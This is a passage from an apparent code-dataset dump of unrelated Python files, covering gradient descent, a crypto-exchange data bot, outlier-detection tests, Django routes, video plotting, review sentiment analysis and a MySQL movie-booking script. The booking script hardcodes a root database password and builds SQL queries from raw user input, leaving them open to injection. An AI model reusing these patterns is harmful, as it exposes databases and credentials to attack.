make_heuristic(Crafting['Recipes'], Crafting['Goal'])\r\r\n\r\r\n # Initialize first state from initial inventory\r\r\n state = State({key: 0 for key in Crafting['Items']})\r\r\n state.update(Crafting['Initial'])\r\r\n\r\r\n # Search - This is you!\r\r\n total_cost, actions = search(graph, state, is_goal, 30, heuristic)\r\r\n #if actions:\r\r\n #print (\"\\n\\n\", state, \"\\n\")\r\r\n if actions:\r\r\n for action in actions:\r\r\n for recipe in all_recipes:\r\r\n if action == recipe.name:\r\r\n state = recipe.effect(state)\r\r\n print (recipe.cost, \", \", recipe.name, \"-> \\n\", state, \"\\n\")\r\r\n print(\"total_cost: \", total_cost, \", length: \", len(actions), \"\\n\\n\")\r\r\n\r\r\n \r\r\n\r\r\n","sub_path":"P5 - GOAPMinecraftPlanner/craft_planner.py","file_name":"craft_planner.py","file_ext":"py","file_size_in_byte":19304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"652738875","text":"import matplotlib as mpl\nmpl.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as random\n\n# m denotes the number of examples here, not the number of features\ndef gradientDescent(x, y, theta, alpha, m, numIterations):\n xTrans = x.transpose()\n for i in range(numIterations):\n hypothesis = np.dot(x, theta)\n loss = hypothesis - y\n # avg cost per example (the 2 in 2*m doesn't really matter here.\n # But to be consistent with the gradient, I include it)\n cost = np.sum(loss ** 2) / (2 * m)\n if i % 10000 == 0:\n print(\"Iteration %d | Cost: %f\" % (i, cost))\n # avg gradient per example\n gradient = np.dot(xTrans, loss) / m\n # update\n theta = theta - alpha * gradient\n return theta\n\n\ndef genData(numPoints, bias, variance):\n x = np.zeros(shape=(numPoints, 2))\n y = np.zeros(shape=numPoints)\n # basically a straight line\n for i in range(0, numPoints):\n # bias feature\n x[i][0] = 1\n x[i][1] = i\n # our target variable\n y[i] = (i + bias) + random.uniform(0, 1) * variance\n return x, y\n\n# gen 100 points with a bias of 25 and 10 variance as a bit of noise\nx, y = genData(100, 25, 10)\nprint(x.shape)\nprint(y.shape)\n# x = np.array([[1,1],[1,2],[1,3]])\n# y = np.array([1,2,3])\nm, n = np.shape(x)\n\nnumIterations= 100000\nalpha = 0.0005\ntheta = np.ones(n)\ntheta = gradientDescent(x, y, theta, alpha, m, numIterations)\nprint(theta)\n\nx1 = np.linspace(0,100,1000)\ny1 = theta[0] + theta[1] * x1\n# Plotting the results\nplt.figure(figsize=(12,8))\nplt.plot((x[:,0]+x[:,1]),y)\nplt.plot(x1,y1, color='r')\nplt.show()","sub_path":"machine_learning/gradient_descent/gradient_descent.py","file_name":"gradient_descent.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"397066230","text":"from datetime import datetime\n\nimport pandas as pd\n\nimport cryptotrading.poloneix_api as polo_api\n\n# load polo account\nfrom polo_account_info import POLO_KEY, POLO_SECRET\npolo = polo_api.poloniex(APIKey=POLO_KEY, Secret=POLO_SECRET)\n\n\n# all traded pairs\nALL_PAIRS = list(polo.returnTicker().keys())\nALL_CURRENCIES = list({x.split('_')[0] for x in ALL_PAIRS} | \\\n {x.split('_')[1] for x in ALL_PAIRS})\n\n# default start, end dates in UNIX time, default sampling frequency\nSTART = 0\nEND = 9999999999\n\nDEFAULT_TZ = 'US/Eastern'\n\ndef convert_to_df(input, time_key='date'):\n df = pd.DataFrame(input)\n\n if time_key in df.columns:\n df.index = [pd.Timestamp(datetime.utcfromtimestamp(x), tz='UTC') for x in df[time_key]]\n df = df.drop(time_key, 1)\n else:\n raise ValueError('time key not found!')\n\n return df\n\nclass dataBot():\n def __init__(self, region, home, freq, tz=DEFAULT_TZ):\n # freq = 300, 900, 1800, 7200, 14400, or 86400\n self.home = home\n self.freq = freq\n self.region = region\n self.tz = tz\n\n self.intraday_ti = None\n\n # caching intraday and daily returns\n #self.get_intraday_data()\n\n def get_intraday_data(self):\n if self.intraday_ti is None:\n data_panel = {}\n for currency in self.region:\n print(currency)\n data_panel[currency] = self._get_bars(currency)\n data_panel = pd.Panel(data_panel)\n self.intraday_ti = data_panel\n return self.intraday_ti\n\n\n def get_current_prices(self):\n prices = pd.Series()\n pair_info = polo.returnTicker()\n for currency in self.region:\n currencyPair = self.home + '_' + currency\n if currencyPair in ALL_PAIRS:\n currencyPair = self.home + '_' + currency\n price = float(pair_info[currencyPair]['last'])\n elif currency == self.home:\n price = 1\n else:\n raise ValueError(currencyPair + ' does not exist!')\n prices[currency] = price\n return prices\n\n\n def _get_bars(self, currency):\n currencyPair = self.home + '_' + currency\n if currencyPair in ALL_PAIRS:\n bars = self.get_pair_bars(currencyPair)\n elif currency == self.home:\n default_df = self.get_pair_bars('BTC_LTC')\n bars = pd.DataFrame(1, columns=default_df.columns, index=default_df.index)\n else:\n raise ValueError(currencyPair + ' does not exist!')\n return bars\n\n\n # volume = volume in BTC; close = close price\n def get_pair_bars(self, currencyPair, start=START, end=END):\n bars = convert_to_df(polo.returnChartData(currencyPair, start, end, self.freq),\n time_key='date')\n bars = bars.tz_convert(self.tz)\n\n return bars\n\n\n def get_current_positions(self):\n balances_dict = polo.returnBalances()\n balances_in_local_currency_units = pd.Series({label: float(balances_dict[label])\n for label in balances_dict.keys()})\n prices = self.get_current_prices()\n balances_in_home_currency_units = balances_in_local_currency_units.multiply(prices).dropna()\n return {\n 'local currency': balances_in_local_currency_units,\n 'home currency': balances_in_home_currency_units,\n 'prices': prices\n }\n\n\n","sub_path":"dataBot.py","file_name":"dataBot.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"238934450","text":"import pytest\nfrom covidactnow.datapublic.common_fields import CommonFields\nfrom covidactnow.datapublic.common_fields import DemographicBucket\n\nfrom tests import test_helpers\nfrom libs.datasets import outlier_detection\nfrom libs.datasets.taglib import TagType\n\nTimeseriesLiteral = test_helpers.TimeseriesLiteral\n\n\ndef test_remove_outliers():\n values = [10.0] * 7 + [1000.0]\n dataset = test_helpers.build_default_region_dataset({CommonFields.NEW_CASES: values})\n dataset = outlier_detection.drop_new_case_outliers(dataset)\n\n # Expected result is the same series with the last value removed\n expected_tag = test_helpers.make_tag(\n TagType.ZSCORE_OUTLIER, date=\"2020-04-08\", original_observation=1000.0,\n )\n expected_ts = TimeseriesLiteral([10.0] * 7, annotation=[expected_tag])\n expected = test_helpers.build_default_region_dataset({CommonFields.NEW_CASES: expected_ts})\n test_helpers.assert_dataset_like(dataset, expected, drop_na_dates=True)\n\n\ndef test_remove_outliers_threshold():\n values = [1.0] * 7 + [30.0]\n dataset = test_helpers.build_default_region_dataset({CommonFields.NEW_CASES: values})\n result = outlier_detection.drop_series_outliers(dataset, CommonFields.NEW_CASES, threshold=30)\n\n # Should not modify becasue not higher than threshold\n test_helpers.assert_dataset_like(dataset, result)\n\n result = outlier_detection.drop_series_outliers(dataset, CommonFields.NEW_CASES, threshold=29)\n\n # Expected result is the same series with the last value removed\n expected_tag = test_helpers.make_tag(\n TagType.ZSCORE_OUTLIER, date=\"2020-04-08\", original_observation=30.0\n )\n expected_ts = TimeseriesLiteral([1.0] * 7, annotation=[expected_tag])\n expected = test_helpers.build_default_region_dataset({CommonFields.NEW_CASES: expected_ts})\n test_helpers.assert_dataset_like(result, expected, drop_na_dates=True)\n\n\ndef test_not_removing_short_series():\n values = [None] * 7 + [1, 1, 300]\n dataset = test_helpers.build_default_region_dataset({CommonFields.NEW_CASES: values})\n result = outlier_detection.drop_series_outliers(dataset, CommonFields.NEW_CASES, threshold=30)\n\n test_helpers.assert_dataset_like(dataset, result)\n\n\ndef test_drop_series_outliers_preserves_buckets():\n age_40s = DemographicBucket(\"age:40-49\")\n ds_in = test_helpers.build_default_region_dataset(\n {CommonFields.NEW_CASES: [1, 2, 3], CommonFields.CASES: {age_40s: [0, 1, 2]}}\n )\n ds_out = outlier_detection.drop_series_outliers(ds_in, CommonFields.NEW_CASES, threshold=30)\n\n test_helpers.assert_dataset_like(ds_in, ds_out)\n\n\ndef test_drop_series_outliers_remove_from_bucketed():\n age_40s = DemographicBucket(\"age:40-49\")\n ts_unmodified = {DemographicBucket.ALL: [2.0] * 8}\n ds_in = test_helpers.build_default_region_dataset(\n {CommonFields.NEW_CASES: {age_40s: [1.0] * 7 + [32.0], **ts_unmodified}}\n )\n\n ds_out = outlier_detection.drop_series_outliers(ds_in, CommonFields.NEW_CASES, threshold=30)\n\n expected_tag = test_helpers.make_tag(\n TagType.ZSCORE_OUTLIER, date=\"2020-04-08\", original_observation=32.0\n )\n ts_with_outlier_removed = TimeseriesLiteral([1.0] * 7 + [None], annotation=[expected_tag])\n ds_expected = test_helpers.build_default_region_dataset(\n {CommonFields.NEW_CASES: {age_40s: ts_with_outlier_removed, **ts_unmodified}}\n )\n test_helpers.assert_dataset_like(ds_out, ds_expected, drop_na_dates=True)\n\n\n# TODO(chris): Make test stronger, doesn't cover all edge cases\n@pytest.mark.parametrize(\"last_value,is_outlier\", [(0.02, False), (0.045, True)])\ndef test_remove_test_positivity_outliers(last_value, is_outlier):\n values = [0.015] * 7 + [last_value]\n dataset_in = test_helpers.build_default_region_dataset(\n {CommonFields.TEST_POSITIVITY_7D: values}\n )\n dataset_out = outlier_detection.drop_tail_positivity_outliers(dataset_in)\n\n # Expected result is the same series with the last value removed\n if is_outlier:\n expected_tag = test_helpers.make_tag(\n TagType.ZSCORE_OUTLIER, date=\"2020-04-08\", original_observation=last_value,\n )\n expected_ts = TimeseriesLiteral([0.015] * 7, annotation=[expected_tag])\n expected = test_helpers.build_default_region_dataset(\n {CommonFields.TEST_POSITIVITY_7D: expected_ts}\n )\n test_helpers.assert_dataset_like(dataset_out, expected, drop_na_dates=True)\n\n else:\n test_helpers.assert_dataset_like(dataset_in, dataset_out, drop_na_dates=True)\n","sub_path":"tests/libs/datasets/outlier_detection_test.py","file_name":"outlier_detection_test.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"550623000","text":"# Create your views here.\nfrom django.conf.urls import *\nfrom views import *\nfrom dajaxice.core import dajaxice_autodiscover, dajaxice_config\ndajaxice_autodiscover() \n\nurlpatterns = patterns('',\n url('^$', practice_index, name='practice_index'),\n url('^index/', practice_index, name='practice_index'),\n url('^login/', practice_login, name='practice_login'),\n url('^register/', practice_register, name='practice_register'),\n # url('^base/', manage_base, name='manage_base'),\n # url('^logout/', manage_logout, name='manage_logout'),\n # url('^add-case/', manage_add_case, name='manage_add_case'),\n # url('^save-case/', manage_save_case, name='manage_save_case'),\n # url('^upload-cases/', manage_upload_cases, name='manage_upload_cases'),\n # url('^read-excel-file/', manage_read_excel_file, name='manage_read_excel_file'),\n # url('^add-case-centre/', manage_add_case_centre, name='manage_add_case_centre'),\n\n)\n\n","sub_path":"UI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"432915105","text":"\nimport flymad_jaaba.utilities as utilities\nimport flymad_jaaba.data_movies as data_movies\nimport os\nimport argparse\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport matplotlib.gridspec as gridspec\nimport pandas as pd\nimport numpy as np\n\n#for plotting moving window:\n\n_windowsize = 60 #for sixty seconds before and after present\n\n#for plotting extending line:\n\n_left_bound = -30 #plots 30 seconds before stim\n\n_right_bound = 200 #plots 200 seconds after stim onset.\n\nFPS = 15\n\ndef make_panel(flyInstance, row, column, _frame_number):\n\n ax1 = plt.subplot2grid((12,10), (0,0), colspan=10, rowspan=10)\n \n fig.add_axes(ax1)\n frame,timestamp = flyInstance.get_frame((_frame_number))# TEMPORARY + flyInstance._Tzero - 150)) #1800 starts @-10sec\n \n jaaba_datum = flyInstance._data[flyInstance._data['Timestamp'] == pd.to_datetime(timestamp, unit='s').tz_localize('UTC').tz_convert('US/Eastern')]\n \n #flyInstance.set_overlays(overlays_value)\n \n flyInstance.plot_zoom(frame, timestamp, cm.Greys_r, jaaba_datum, ax1)\n \n \n ax2 = plt.subplot2grid((12,10), (10, 0), colspan=10, rowspan=1)\n \n fig.add_axes(ax2)\n flyInstance.plot_moving_window(timestamp, _windowsize, ax2, 'maxWingAngle', 'r', 'Wing Angle (rad)', 'notitles')\n \n\n plt.setp(ax2.get_xticklabels(), visible=False)\n \n ax3 = plt.subplot2grid((12,10), (11,0), colspan=10, rowspan=1)\n \n fig.add_axes(ax3)\n flyInstance.plot_moving_window(timestamp, _windowsize, ax3, 'dtarget', 'b', 'Distance (px)', 'w_titles') \n \n plt.subplots_adjust(left=0.0, bottom=0.0, right=1.0, top=1.0, wspace=0, hspace=0.15)\n\n\n \n \n \nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--zoom', type=str, required=True,\n help='path to zoom fmf') \n parser.add_argument('--wide', type=str, required=False,\n help='path to wide fmf') \n parser.add_argument('--savedir', type=str, required=True,\n help='path to save directory') \n parser.add_argument('--overlays', type=bool, required=False, default=False, help='turn on overlays to plot wing angles and distance bars')\n args = parser.parse_args()\n \n zoom_fmf = args.zoom\n wide_fmf = args.wide\n savedir = args.savedir \n overlays_value = args.overlays\n \n #os.system(ffmpeg -f image2 -r 15 -i _tmp%05d.png -vcodec mpeg4 -y (_VIDEO_DIR + '/flymad_annotated.mp4'))\n\n vid = data_movies.FlyPanel(zoom_fmf, savedir, utilities.parse_fmftime(zoom_fmf)[0], overlays_value)\n \n \n \n image_height = vid.get_frame(0)[0].shape[0]\n \n image_width = vid.get_frame(0)[0].shape[1]\n \n for frame_number in range(8000):\n \n if os.path.exists(savedir + '/temp_png/_tmp%05d.png'%(frame_number)):\n continue\n fig = plt.figure(figsize=(image_width/100, image_height*1.2/100), dpi=200.399, frameon=False )\n \n make_panel(vid, 0, 0, frame_number)\n \n plt.savefig(savedir + '/temp_png/_tmp%05d.png'%(frame_number), bbox_inches='tight', pad_inches=0)\n plt.close('all')\n \n utilities.sendMail('bathd@janelia.hhmi.org','movie is finished', ('Your awesome new video has finished.'))\n","sub_path":"flymad_jaaba/movie_fly_with_stims.py","file_name":"movie_fly_with_stims.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"77980726","text":"import sys\n\nimport IPython\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport sklearn\nfrom IPython.display import display\nfrom scipy import sparse\n\nfrom common.task import Task\n\nwith Task(\"NumPy\"):\n x = np.array([[1, 2, 3], [4, 5, 6]])\n print(\"x:\\n{}\".format(x))\n\nwith Task(\"SciPy\"):\n eye = np.eye(4)\n print(\"NumPy 배열:\\n{}\".format(eye))\n\n sparse_martix = sparse.csr_matrix(eye)\n print(\"SciPy의 CSR 행렬:\\n{}\".format(sparse_martix))\n\n data = np.ones(4)\n row_indices = np.arange(4)\n col_indices = np.arange(4)\n eye_coo = sparse.coo_matrix((data, (row_indices, col_indices)))\n print(\"COO 표현:\\n{}\".format(eye_coo))\n\nwith Task(\"matplotlib\"):\n x = np.linspace(-10, 10, 100)\n y = np.sin(x)\n plt.plot(x, y, marker=\"x\")\n plt.show()\n\nwith Task(\"pandas\"):\n data = {'Name': [\"John\", \"Anna\", \"Peter\", \"Linda\"],\n 'Location': [\"New York\", \"Paris\", \"Berlin\", \"London\"],\n 'Age': [24, 13, 53, 33]}\n data_pandas = pd.DataFrame(data)\n display(data_pandas)\n print()\n display(data_pandas[data_pandas.Age > 30])\n\nwith Task(\"version\"):\n print(\"Python 버전: {}\".format(sys.version))\n print(\"pandas 버전: {}\".format(pd.__version__))\n print(\"matplotlib 버전: {}\".format(matplotlib.__version__))\n print(\"NumPy 버전: {}\".format(np.__version__))\n print(\"SciPy 버전: {}\".format(sp.__version__))\n print(\"IPython 버전: {}\".format(IPython.__version__))\n print(\"scikit-learn 버전: {}\".format(sklearn.__version__))\n","sub_path":"ch1A.py","file_name":"ch1A.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"23818514","text":"import sys\nsys.stdin = open(\"C:\\\\Users\\\\student\\\\TIL\\\\Algorithm\\\\SWEA\\\\Solving Club Probs\\\\ironstick_input.txt\", \"r\")\nTC = int(input())\nfor tc in range(1, TC+1):\n n = int(input())\n nn = list(map(int, input().split()))\n\n for i in range(0, len(nn), 2):\n for j in range(1, len(nn), 2):\n first, last = 0, 0\n if nn.count(nn[i]) == 1 or nn.count(nn[j]) == 1:\n first = i\n last = j\n nn[first], nn[first+1], nn[0], nn[1] = nn[0], nn[1], nn[first], nn[first+1]\n nn[last - 1], nn[last], nn[-2], nn[-1] = nn[-2], nn[-1], nn[last - 1], nn[last]\n\n for i in range(1, len(nn)-2, 2):\n for j in range(2, len(nn), 2):\n if nn[i] == nn[j]:\n nn[i+1], nn[i+2], nn[j], nn[j+1] = nn[j], nn[j+1], nn[i+1], nn[i+2]\n\n result = ' '.join(str(i) for i in nn)\n print(f'#{tc} {result}')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # length = len(sss)\n # right = [i for i in range(1, length, 2)]\n # left = [j for j in range(0, length, 2)]\n # li = []\n # for i in range((len(sss) // 2)):\n # a = sss[left[i]]\n # b = sss[right[i]]\n # c = [a, b]\n # li.append(c)\n #\n # for k in range(len(li)):\n # idx1 , idx2 = 0, 0\n # if li[0][0] == li[k][1]:\n # for l in range(len(li[k])):\n #\n\n\n\n\n\n # print(f'#{tc} ')","sub_path":"SSAFY/algorithms/SWEA/Solving Club Probs/ironstick_190124.py","file_name":"ironstick_190124.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"286717396","text":"import mysql.connector as sql\r\nmydb = sql.connect(host=\"localhost\", user=\"root\",\r\n passwd=\"lm10barcelona\", database=\"movie\")\r\nmycursor = mydb.cursor()\r\n# mycursor.execute(\"CREATE DATABASE movie \")\r\n\r\n# mycursor.execute(\"CREATE TABLE bookings(Movie varchar(20),Tickets varchar(5),Name varchar(30),ph varchar(17)) \")\r\n\r\n\r\nmovies = [\"1. Godzilla vs Kong\", \"2. Mumbai Saga\",\r\n \"3. Roohi\", \"4. Tom and Jerry\"]\r\nres = [\"BOOKINGS SUCCESSFUL\", \"\", \"BOOKINGS CANCELLED\", \"\"]\r\nwhile True:\r\n if mydb.is_connected:\r\n print(\"\\nPVR THEATRE BOOKINGS\")\r\n print(\"1. BOOK TICKETS\")\r\n print(\"2. CHECK BOOKINGS\")\r\n print(\"3. CANCEL BOOKINGS\")\r\n print(\"4. EXIT\")\r\n ch = int(input(\"Enter your choice , select the number : \"))\r\n else:\r\n print(\"connection error\")\r\n break\r\n if ch == 1:\r\n print(\"currently showing\")\r\n for x in movies:\r\n print(x)\r\n\r\n mov = input(\"Enter your choice :\")\r\n ticket = int(input(\"Enter no of tickets you want:\"))\r\n name = input(\"Enter your NAME: \")\r\n num = input(\"Phone number: \")\r\n mycursor.execute(\"INSERT INTO bookings VALUES('{}','{}','{}','{}')\".format(\r\n mov, ticket, name, num))\r\n # print(\"Booking Successful\")\r\n elif ch == 2:\r\n inp = input(\"Enter your Phone number :\")\r\n mycursor.execute(\"select * from bookings where ph='{}'\".format(inp))\r\n for k in mycursor:\r\n print(\"Movie name:{}\\t , tickets:{}\\t , Name : {} \\t ,Phone :{} \\t \".format(\r\n movies[int(int(k[0]) - 1)], k[1], k[2], k[3]))\r\n\r\n elif ch == 3:\r\n inp = input(\"Enter your phone number \")\r\n mycursor.execute(\"DELETE FROM bookings WHERE ph ='{}'\".format(inp))\r\n try:\r\n mydb.commit()\r\n print(res[ch - 1])\r\n except:\r\n mycursor.rollback()\r\n print(\"Connection Error\")\r\n if ch == 4:\r\n print(\"Thank you for choosing PVR Cinemas \")\r\n break\r\n","sub_path":"MySQL Python Connector/Movie Ticketing Project/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"40460493","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build\\bdist.win-amd64\\egg\\app_reviews_analysis\\reviewPretreate.py\n# Compiled at: 2019-07-12 08:24:24\n# Size of source mod 2**32: 22995 bytes\nimport pandas as pd\nfrom dateutil.parser import parse\nfrom datetime import timedelta\nimport langid, nltk, nltk.corpus, subprocess, shlex, re, emoji\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.collocations import *\nfrom nltk.corpus import wordnet as wn\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nclass reviewPretreate:\n\n def __init__(self):\n self.sentimentPath = BASE_DIR + '/app_reviews_analysis/static/sentiment'\n self.SentiStrengthLocation = BASE_DIR + '/app_reviews_analysis/static/SentiStrength.jar'\n self.SentiStrengthLanguageFolder = BASE_DIR + '/app_reviews_analysis/static/SentStrength_Data/'\n\n def dataimport(self, path, encoding='utf-8'):\n df3 = pd.read_csv(path, encoding=encoding)\n ix = []\n for i in range(len(df3['review_text'])):\n if langid.classify(df3['review_text'][i])[0] == 'en':\n ix.append(i)\n\n df3 = df3.iloc[ix, :]\n df3['review_date'] = [parse(d) for d in df3['review_date']]\n path = self.sentimentPath\n sentimentword = []\n for filename in os.listdir(path):\n fo = open(os.path.join(path, filename), 'r')\n for line in fo.readlines():\n sentimentword.append(line.replace(' \\n', '').replace('\\n', ''))\n\n return (\n df3, sentimentword)\n\n def issynonyms(self, word1, word2):\n synonyms = []\n for word in word1:\n for syn in wn.synsets(word):\n for l in syn.lemmas():\n synonyms.append(l.name())\n\n if set(word2).issubset(set(synonyms)):\n return 1\n else:\n return 0\n\n def pretreat(self, reviewslist, sentimentword):\n text1 = []\n lemmatizer = WordNetLemmatizer()\n sr = stopwords.words('english')\n sr.extend([\n 'app', 'please', 'fix', 'android', 'google', 'youtube', 'as', 'uber', 'dont', 'cousin', 'pp', 'facebook',\n 'fitbit'])\n english_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%', '{',\n '}', '`', '<', '>', '/', '^', '-', '_', '``', \"''\", '...', '......']\n for text in reviewslist:\n try:\n text = text.lower()\n text = emoji.get_emoji_regexp().sub('', text)\n texts_filtered = [word for word in word_tokenize(text) if word not in english_punctuations]\n texts_filtered2 = [word for word in texts_filtered if word not in sr]\n texts_filtered3 = [word for word in texts_filtered2 if word not in sentimentword]\n texts_filtered4 = [lemmatizer.lemmatize(word) for word in texts_filtered3]\n texts_filtered5 = [word for word in texts_filtered4 if len(word) > 1]\n refiltered = nltk.pos_tag(texts_filtered5)\n filtered = [w for w, pos in refiltered if pos in ('NN', 'VB', 'VBG',\n 'VBD', 'VBN', 'JJ',\n 'NNS')]\n if len(filtered) >= 1:\n text1.append(filtered)\n except:\n print('评论预处理失败:', text)\n\n return text1\n\n def flatten(self, a):\n for each in a:\n if not isinstance(each, list):\n yield each\n else:\n yield from self.flatten(each)\n\n def Cole(self, featurelist):\n featurecol1 = []\n featurecol2 = []\n featurecol3 = []\n bigram_measures = nltk.collocations.BigramAssocMeasures()\n trigram_measures = nltk.collocations.TrigramAssocMeasures()\n finder = BigramCollocationFinder.from_words(list(self.flatten(featurelist)))\n finder.apply_freq_filter(3)\n featurecol = finder.score_ngrams(bigram_measures.likelihood_ratio)\n for word, freq in featurecol:\n t = False\n for text in featurelist:\n if (word[0] in text) & (word[1] in text) and (abs(text.index(word[0]) - text.index(word[1])) <= 3) & (word[0] != word[1]):\n t = True\n\n if t & (set(word) not in featurecol1):\n l = list(word)\n l.append(freq)\n featurecol3.append(l)\n featurecol1.append(set(word))\n featurecol2.append(word)\n\n for i in range(len(featurecol3)):\n for j in range(i + 1, len(featurecol3)):\n try:\n if self.issynonyms(featurecol3[i][0:2], featurecol3[j][0:2]):\n print('%s和%s是同义词' % (\n featurecol3[i][0] + ' ' + featurecol3[i][1], featurecol3[j][0] + ' ' + featurecol3[j][1]))\n featurecol3.pop(j)\n except:\n continue\n\n print(featurecol2)\n return featurecol3\n\n def RateSentiment(self, reviewslist):\n sentiment = []\n reviewslist1 = []\n for text in reviewslist:\n try:\n text = text.lower()\n text = emoji.get_emoji_regexp().sub('', text)\n reviewslist1.append(text)\n except:\n print('无法处理该评论:', text)\n\n SentiStrengthLocation = self.SentiStrengthLocation\n SentiStrengthLanguageFolder = self.SentiStrengthLanguageFolder\n if not os.path.isfile(SentiStrengthLocation):\n print('SentiStrength not found at: ', SentiStrengthLocation)\n if not os.path.isdir(SentiStrengthLanguageFolder):\n print('SentiStrength data folder not found at: ', SentiStrengthLanguageFolder)\n for review in reviewslist1:\n p = subprocess.Popen((shlex.split(\"java -jar '\" + SentiStrengthLocation + \"' stdin sentidata '\" + SentiStrengthLanguageFolder + \"'\")),\n stdin=(subprocess.PIPE),\n stdout=(subprocess.PIPE),\n stderr=(subprocess.PIPE))\n b = bytes(review.replace(' ', '+'), 'utf-8')\n stdout_byte, stderr_text = p.communicate(b)\n stdout_text = stdout_byte.decode('utf-8')\n stdout_text = stdout_text.rstrip().replace('\\t', ' ')\n if stdout_text != '':\n sentiment.append('{' + stdout_text.replace('+', '') + '}' + review)\n\n return sentiment\n\n def RateSentimentWord(self, df3):\n df3 = df3.dropna()\n df3.index = range(len(df3))\n sentiment = []\n reviewwordscore = []\n reviewslist2 = []\n reviewslist = list(df3['review_text'])\n for i in range(len(reviewslist)):\n text = reviewslist[i]\n try:\n text = text.lower()\n text = emoji.get_emoji_regexp().sub('', text)\n except:\n df3 = df3.drop(i, axis=0)\n print('无法处理该评论:', text)\n\n reviewslist1 = list(df3['review_text'])\n df3.index = range(len(df3))\n SentiStrengthLocation = self.SentiStrengthLocation\n SentiStrengthLanguageFolder = self.SentiStrengthLanguageFolder\n if not os.path.isfile(SentiStrengthLocation):\n print('SentiStrength not found at: ', SentiStrengthLocation)\n if not os.path.isdir(SentiStrengthLanguageFolder):\n print('SentiStrength data folder not found at: ', SentiStrengthLanguageFolder)\n for r in range(len(reviewslist1)):\n review = reviewslist1[r]\n try:\n p = subprocess.Popen((shlex.split(\"java -jar '\" + SentiStrengthLocation + \"' stdin sentidata '\" + SentiStrengthLanguageFolder + \"' explain'\" + \"'\")),\n stdin=(subprocess.PIPE),\n stdout=(subprocess.PIPE),\n stderr=(subprocess.PIPE))\n b = bytes(review.replace(' ', '+'), 'utf-8')\n stdout_byte, stderr_text = p.communicate(b)\n stdout_text = stdout_byte.decode('utf-8')\n stdout_text = stdout_text.rstrip().replace('\\t', ' ')\n if stdout_text != '':\n sentiment.append('{' + stdout_text.replace('+', '')[0:4] + '}')\n reviewwordscore.append(stdout_text.replace('+', '')[4:])\n except:\n df3 = df3.drop(r, axis=0)\n continue\n\n return (\n sentiment, reviewwordscore)\n\n def scoredfeature(self, sentiment, sentimentword):\n scorefeature = []\n lemmatizer = WordNetLemmatizer()\n sr = stopwords.words('english')\n sr.extend(['app', 'please', 'fix', 'android', 'google', 'youtube', 'uber', 'facebook'])\n english_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%', '{',\n '}', '`', '<', '>', '/', '^', '-', '_', '``', \"''\"]\n for i in sentiment:\n text = emoji.get_emoji_regexp().sub('', i[7:])\n texts_filtered = [word for word in word_tokenize(text) if word not in english_punctuations]\n texts_filtered2 = [word for word in texts_filtered if word not in sr]\n texts_filtered3 = [word for word in texts_filtered2 if word not in sentimentword]\n texts_filtered4 = [lemmatizer.lemmatize(word) for word in texts_filtered3]\n texts_filtered5 = [word for word in texts_filtered4 if len(word) > 1]\n refiltered = nltk.pos_tag(texts_filtered5)\n filtered = [w for w, pos in refiltered if pos in ('NN', 'VB', 'VBG', 'VBD',\n 'VBN', 'JJ', 'NNS')]\n if len(filtered) >= 1:\n filtered.insert(0, i[0:6])\n scorefeature.append(filtered)\n\n return scorefeature\n\n def max_value(self, valuelist):\n maxValue = {}\n result = []\n for i in valuelist:\n maxValue[' '.join(i)] = valuelist.count(i)\n\n for key, val in maxValue.items():\n if val == max(maxValue.values()):\n result.append(key.split(' '))\n\n return result\n\n def featurescored(self, featurecol, scorefeature):\n feature_score = []\n for word in featurecol:\n scoretotal = 0\n feature = word[0] + '|' + word[1]\n for text in scorefeature:\n if (word[0] in text) & (word[1] in text):\n scorenum = re.findall('[-]?\\\\d', text[0])\n abs_score = [abs(int(num)) for num in scorenum]\n if abs_score[0] == abs_score[1]:\n scoretotal = scoretotal + int(min(scorenum))\n else:\n scoretotal = scoretotal + int(scorenum[abs_score.index(max(abs_score))])\n\n feature_score.append(word[0] + ' ' + word[1] + ', ' + str(round(word[2], 2)) + ', ' + str(scoretotal))\n\n return feature_score\n\n def featurescored1(self, featurecol, scorefeature):\n feature_score = []\n for word in featurecol:\n scoretotal = 0\n feature = word[0] + '|' + word[1]\n for text in scorefeature:\n if (word[0] in text) & (word[1] in text):\n scorenum = re.findall('[-]?\\\\d', text[0])\n abs_score = [abs(int(num)) for num in scorenum]\n if 